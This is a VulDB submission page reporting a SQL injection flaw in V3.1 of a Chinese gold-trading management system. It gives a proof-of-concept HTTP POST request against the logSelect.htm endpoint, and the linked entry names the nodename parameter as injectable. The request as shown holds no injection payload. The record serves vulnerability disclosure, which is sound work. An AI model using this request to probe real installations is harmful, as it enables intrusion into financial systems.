| Title | 新晨科技股份有限公司 黄金通二级系统三代管理端系统 V3.1 SQL Injection |
|---|
| Description | https://github.com/William-xin/CVEs/issues/1
POC:
POST /sysframework/logSelect.htm HTTP/1.1
Host: x.x.x.x:8900
Cookie: JSESSIONID_null_8900=1nk238amgulwsuflzjdc49way
Content-Length: 90
Sec-Ch-Ua-Platform: "Windows"
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: /
Sec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Content-Type: application/x-www-form-urlencoded;utf-8
Sec-Ch-Ua-Mobile: ?0
Origin: https://x.x.x.x:8900
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://x.x.x.x:8900/sysframework/operLog.htm
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: close
page=1&branchtype=01&dateStart=2025-06-25&dateEnd=2025-06-25&nodename=&operuserCode=&cont=
|
|---|
| Source | ⚠️ https://github.com/William-xin/CVEs/issues/1 |
|---|
| User | Starwung (UID 72280) |
|---|
| Submission | 06/26/2025 05:00 (1 Year ago) |
|---|
| Moderation | 07/05/2025 19:42 (10 days later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 311214 [Brilliance Golden Link Secondary System up to 20250424 logSelect.htm nodename sql injection] |
|---|
| Points | 0 |
|---|